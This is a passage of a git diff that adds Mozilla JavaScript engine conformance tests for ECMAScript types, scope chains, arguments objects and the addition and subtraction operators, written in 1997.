+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 8.1.js
+ ECMA Section: The undefined type
+ Description:
+
+ The Undefined type has exactly one value, called undefined. Any variable
+ that has not been assigned a value is of type Undefined.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "8.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The undefined type";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var x; typeof x",
+ "undefined",
+ eval("var x; typeof x") );
+
+new TestCase( SECTION,
+ "var x; typeof x == 'undefined",
+ true,
+ eval("var x; typeof x == 'undefined'") );
+
+new TestCase( SECTION,
+ "var x; x == void 0",
+ true,
+ eval("var x; x == void 0") );
+test();
+
diff --git a/js/src/tests/ecma/Types/8.4.js b/js/src/tests/ecma/Types/8.4.js
new file mode 100644
index 000000000..60cf12d13
--- /dev/null
+++ b/js/src/tests/ecma/Types/8.4.js
@@ -0,0 +1,96 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 8.4.js
+ ECMA Section: The String type
+ Description:
+
+ The String type is the set of all finite ordered sequences of zero or more
+ Unicode characters. Each character is regarded as occupying a position
+ within the sequence. These positions are identified by nonnegative
+ integers. The leftmost character (if any) is at position 0, the next
+ character (if any) at position 1, and so on. The length of a string is the
+ number of distinct positions within it. The empty string has length zero
+ and therefore contains no characters.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "8.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The String type";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var s = ''; s.length",
+ 0,
+ eval("var s = ''; s.length") );
+
+new TestCase( SECTION,
+ "var s = ''; s.charAt(0)",
+ "",
+ eval("var s = ''; s.charAt(0)") );
+
+
+for ( var i = 0x0041, TEST_STRING = "", EXPECT_STRING = ""; i < 0x007B; i++ ) {
+ TEST_STRING += ("\\u"+ DecimalToHexString( i ) );
+ EXPECT_STRING += String.fromCharCode(i);
+}
+
+new TestCase( SECTION,
+ "var s = '" + TEST_STRING+ "'; s",
+ EXPECT_STRING,
+ eval("var s = '" + TEST_STRING+ "'; s") );
+
+new TestCase( SECTION,
+ "var s = '" + TEST_STRING+ "'; s.length",
+ 0x007B-0x0041,
+ eval("var s = '" + TEST_STRING+ "'; s.length") );
+
+test();
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
+
diff --git a/js/src/tests/ecma/Types/8.6.2.1-1.js b/js/src/tests/ecma/Types/8.6.2.1-1.js
new file mode 100644
index 000000000..627c8cba6
--- /dev/null
+++ b/js/src/tests/ecma/Types/8.6.2.1-1.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 8.6.2.1-1.js
+ ECMA Section: 8.6.2.1 Get (Value)
+ Description:
+
+ When the [[Get]] method of O is called with property name P, the following
+ steps are taken:
+
+ 1. If O doesn't have a property with name P, go to step 4.
+ 2. Get the value of the property.
+ 3. Return Result(2).
+ 4. If the [[Prototype]] of O is null, return undefined.
+ 5. Call the [[Get]] method of [[Prototype]] with property name P.
+ 6. Return Result(5).
+
+ This tests [[Get]] (Value).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "8.6.2.1-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " [[Get]] (Value)");
+
+new TestCase( SECTION, "var OBJ = new MyObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyObject(true); OBJ.valueOf()") );
+
+new TestCase( SECTION, "var OBJ = new MyObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") );
+
+new TestCase( SECTION, "var OBJ = new MyObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyObject('string'); OBJ.valueOf()") );
+
+test();
+
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Types/browser.js b/js/src/tests/ecma/Types/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Types/browser.js
diff --git a/js/src/tests/ecma/Types/shell.js b/js/src/tests/ecma/Types/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Types/shell.js
diff --git a/js/src/tests/ecma/browser.js b/js/src/tests/ecma/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/browser.js
diff --git a/js/src/tests/ecma/extensions/10.1.4-9.js b/js/src/tests/ecma/extensions/10.1.4-9.js
new file mode 100644
index 000000000..59367024a
--- /dev/null
+++ b/js/src/tests/ecma/extensions/10.1.4-9.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-9.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-9";
+var VERSION = "ECMA_2";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( SECTION, "NEW_PROPERTY = " );
+
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var RESULT = "hello";
+
+ with ( MYOBJECT ) {
+ NEW_PROPERTY = RESULT;
+ }
+ gTestcases[gTc].actual = NEW_PROPERTY;
+ gTestcases[gTc].expect = RESULT;
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+function MyObject( n ) {
+ this.__proto__ = Number.prototype;
+}
diff --git a/js/src/tests/ecma/extensions/10.1.6.js b/js/src/tests/ecma/extensions/10.1.6.js
new file mode 100644
index 000000000..35cca8743
--- /dev/null
+++ b/js/src/tests/ecma/extensions/10.1.6.js
@@ -0,0 +1,93 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.6
+ ECMA Section: Activation Object
+ Description:
+
+ If the function object being invoked has an arguments property, let x be
+ the value of that property; the activation object is also given an internal
+ property [[OldArguments]] whose initial value is x; otherwise, an arguments
+ property is created for the function object but the activation object is
+ not given an [[OldArguments]] property. Next, arguments object described
+ below (the same one stored in the arguments property of the activation
+ object) is used as the new value of the arguments property of the function
+ object. This new value is installed even if the arguments property already
+ exists and has the ReadOnly attribute (as it will for native Function
+ objects). (These actions are taken to provide compatibility with a form of
+ program syntax that is now discouraged: to access the arguments object for
+ function f within the body of f by using the expression f.arguments.
+ The recommended way to access the arguments object for function f within
+ the body of f is simply to refer to the variable arguments.)
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.1.6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Activation Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var arguments = "FAILED!";
+
+var ARG_STRING = "value of the argument property";
+
+new TestCase( SECTION,
+ "(new TestObject(0,1,2,3,4,5)).length",
+ 6,
+ (new TestObject(0,1,2,3,4,5)).length );
+
+for ( i = 0; i < 6; i++ ) {
+
+ new TestCase( SECTION,
+ "(new TestObject(0,1,2,3,4,5))["+i+"]",
+ i,
+ (new TestObject(0,1,2,3,4,5))[i]);
+}
+
+
+// The current object already has an arguments property.
+
+new TestCase( SECTION,
+ "(new AnotherTestObject(1,2,3)).arguments",
+ ARG_STRING,
+ (new AnotherTestObject(1,2,3)).arguments );
+
+// The function invoked with [[Call]]
+
+new TestCase( SECTION,
+ "TestFunction(1,2,3)",
+ ARG_STRING,
+ TestFunction() + '' );
+
+
+test();
+
+
+
+function Prototype() {
+ this.arguments = ARG_STRING;
+}
+function TestObject() {
+ this.__proto__ = new Prototype();
+ return arguments;
+}
+function AnotherTestObject() {
+ this.__proto__ = new Prototype();
+ return this;
+}
+function TestFunction() {
+ arguments = ARG_STRING;
+ return arguments;
+}
+function AnotherTestFunction() {
+ this.__proto__ = new Prototype();
+ return this;
+}
diff --git a/js/src/tests/ecma/extensions/10.1.8-1.js b/js/src/tests/ecma/extensions/10.1.8-1.js
new file mode 100644
index 000000000..f0acd7b0b
--- /dev/null
+++ b/js/src/tests/ecma/extensions/10.1.8-1.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.8
+ ECMA Section: Arguments Object
+ Description:
+
+ When control enters an execution context for declared function code,
+ anonymous code, or implementation-supplied code, an arguments object is
+ created and initialized as follows:
+
+ The [[Prototype]] of the arguments object is to the original Object
+ prototype object, the one that is the initial value of Object.prototype
+ (section 15.2.3.1).
+
+ A property is created with name callee and property attributes {DontEnum}.
+ The initial value of this property is the function object being executed.
+ This allows anonymous functions to be recursive.
+
+ A property is created with name length and property attributes {DontEnum}.
+ The initial value of this property is the number of actual parameter values
+ supplied by the caller.
+
+ For each non-negative integer, iarg, less than the value of the length
+ property, a property is created with name ToString(iarg) and property
+ attributes { DontEnum }. The initial value of this property is the value
+ of the corresponding actual parameter supplied by the caller. The first
+ actual parameter value corresponds to iarg = 0, the second to iarg = 1 and
+ so on. In the case when iarg is less than the number of formal parameters
+ for the function object, this property shares its value with the
+ corresponding property of the activation object. This means that changing
+ this property changes the corresponding property of the activation object
+ and vice versa. The value sharing mechanism depends on the implementation.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.1.8";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Arguments Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var ARG_STRING = "value of the argument property";
+
+new TestCase( SECTION,
+ "GetCallee()",
+ GetCallee,
+ GetCallee() );
+
+var LIMIT = 100;
+
+for ( var i = 0, args = "" ; i < LIMIT; i++ ) {
+ args += String(i) + ( i+1 < LIMIT ? "," : "" );
+
+}
+
+var LENGTH = eval( "GetLength("+ args +")" );
+
+new TestCase( SECTION,
+ "GetLength("+args+")",
+ 100,
+ LENGTH );
+
+var ARGUMENTS = eval( "GetArguments( " +args+")" );
+
+for ( var i = 0; i < 100; i++ ) {
+ new TestCase( SECTION,
+ "GetArguments("+args+")["+i+"]",
+ i,
+ ARGUMENTS[i] );
+}
+
+test();
+
+function TestFunction() {
+ var arg_proto = arguments.__proto__;
+}
+function GetCallee() {
+ var c = arguments.callee;
+ return c;
+}
+function GetArguments() {
+ var a = arguments;
+ return a;
+}
+function GetLength() {
+ var l = arguments.length;
+ return l;
+}
+
+function AnotherTestFunction() {
+ this.__proto__ = new Prototype();
+ return this;
+}
diff --git a/js/src/tests/ecma/extensions/11.6.1-1.js b/js/src/tests/ecma/extensions/11.6.1-1.js
new file mode 100644
index 000000000..94e241e06
--- /dev/null
+++ b/js/src/tests/ecma/extensions/11.6.1-1.js
@@ -0,0 +1,111 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-1.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does not cover cases where the Additive or Mulplicative expression
+ ToPrimitive is string.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2",
+ "truefalse",
+ eval("var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2") );
+
+// tests for "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(-1); EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(-1); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2",
+ "100-1",
+ eval("var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject( new MyValuelessObject( new Boolean(true) ) ); EXP_1 + EXP_1",
+ "truetrue",
+ eval("var EXP_1 = new MyValuelessObject( new MyValuelessObject( new Boolean(true) ) ); EXP_1 + EXP_1") );
+
+test();
+
+function MyProtoValuelessObject() {
+ this.valueOf = new Function ( "" );
+ this.__proto__ = null;
+}
+
+function MyProtolessObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.__proto__ = null;
+ this.value = value;
+}
+
+function MyValuelessObject(value) {
+ this.__proto__ = new MyPrototypeObject(value);
+}
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/extensions/11.6.1-2.js b/js/src/tests/ecma/extensions/11.6.1-2.js
new file mode 100644
index 000000000..90ed10f56
--- /dev/null
+++ b/js/src/tests/ecma/extensions/11.6.1-2.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-2.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does only covers cases where the Additive or Mulplicative expression
+ ToPrimitive is a string.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject('string'); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2",
+ "stringfalse",
+ eval("var EXP_1 = new MyValuelessObject('string'); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2",
+ "stringfalse",
+ eval("var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2") );
+
+// tests for "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject('string'); EXP_1 + EXP_2",
+ "100string",
+ eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2",
+ "string-1",
+ eval("var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2") );
+
+test();
+
+function MyProtoValuelessObject() {
+ this.valueOf = new Function ( "" );
+ this.__proto__ = null;
+}
+function MyProtolessObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.__proto__ = null;
+ this.value = value;
+}
+function MyValuelessObject(value) {
+ this.__proto__ = new MyPrototypeObject(value);
+}
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/extensions/11.6.1-3.js b/js/src/tests/ecma/extensions/11.6.1-3.js
new file mode 100644
index 000000000..48dbaf4f7
--- /dev/null
+++ b/js/src/tests/ecma/extensions/11.6.1-3.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-3.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does only covers cases where the Additive or Mulplicative expression
+ is a Date.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for a boolean primitive and a boolean object, and
+// "MyValuelessObject", where the value is set in the object's
+// prototype, not the object itself.
+
+var DATE1 = new Date();
+
+var MYOB1 = new MyObject( DATE1 );
+var MYOB2 = new MyValuelessObject( DATE1 );
+var MYOB3 = new MyProtolessObject( DATE1 );
+var MYOB4 = new MyProtoValuelessObject( DATE1 );
+
+new TestCase( SECTION,
+ "MYOB2 = new MyValuelessObject(DATE1); MYOB3 + 'string'",
+ DATE1.toString() + "string",
+ MYOB2 + 'string' );
+
+new TestCase( SECTION,
+ "MYOB2 = new MyValuelessObject(DATE1); MYOB3 + new String('string')",
+ DATE1.toString() + "string",
+ MYOB2 + new String('string') );
+/*
+ new TestCase( SECTION,
+ "MYOB3 = new MyProtolessObject(DATE1); MYOB3 + new Boolean(true)",
+ DATE1.toString() + "true",
+ MYOB3 + new Boolean(true) );
+*/
+
+test();
+
+function MyProtoValuelessObject() {
+ this.valueOf = new Function ( "" );
+ this.__proto__ = null;
+}
+function MyProtolessObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.__proto__ = null;
+ this.value = value;
+}
+function MyValuelessObject(value) {
+ this.__proto__ = new MyPrototypeObject(value);
+}
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/extensions/11.6.2-1.js b/js/src/tests/ecma/extensions/11.6.2-1.js
new file mode 100644
index 000000000..d9b6ea35e
--- /dev/null
+++ b/js/src/tests/ecma/extensions/11.6.2-1.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.2-1.js
+ ECMA Section: 11.6.2 The Subtraction operator ( - )
+ Description:
+
+ The production AdditiveExpression : AdditiveExpression -
+ MultiplicativeExpression is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToNumber(Result(2)).
+ 6. Call ToNumber(Result(4)).
+ 7. Apply the subtraction operation to Result(5) and Result(6). See the
+ discussion below (11.6.3).
+ 8. Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.2-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The subtraction operator ( - )");
+
+// tests "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 - EXP_2",
+ Number.NaN,
+ eval("var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 - EXP_2") );
+
+// tests "MyValuelessObject", where the value is
+// set in the object's prototype, not the object itself.
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(1); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(1); EXP_1 - EXP_2") );
+/*
+ new TestCase( SECTION,
+ "var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(1)); EXP_1 - EXP_2",
+ Number.NaN,
+ eval("var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(1)); EXP_1 - EXP_2") );
+*/
+// same thing with string!
+
+test();
+
+function MyProtoValuelessObject() {
+ this.valueOf = new Function ( "" );
+ this.__proto__ = null;
+}
+function MyProtolessObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.__proto__ = null;
+ this.value = value;
+}
+function MyValuelessObject(value) {
+ this.__proto__ = new MyPrototypeObject(value);
+}
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
+function MyOtherObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function ( "return this.value + ''" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/extensions/15-1.js b/js/src/tests/ecma/extensions/15-1.js
new file mode 100644
index 000000000..e70cb2ca6
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15-1.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.js
+ ECMA Section: 15 Native ECMAScript Objects
+ Description: Every built-in prototype object has the Object prototype
+ object, which is the value of the expression
+ Object.prototype (15.2.3.1) as the value of its internal
+ [[Prototype]] property, except the Object prototype
+ object itself.
+
+ Every native object associated with a program-created
+ function also has the Object prototype object as the
+ value of its internal [[Prototype]] property.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15-1";
+var VERSION = "ECMA_1";
+startTest();
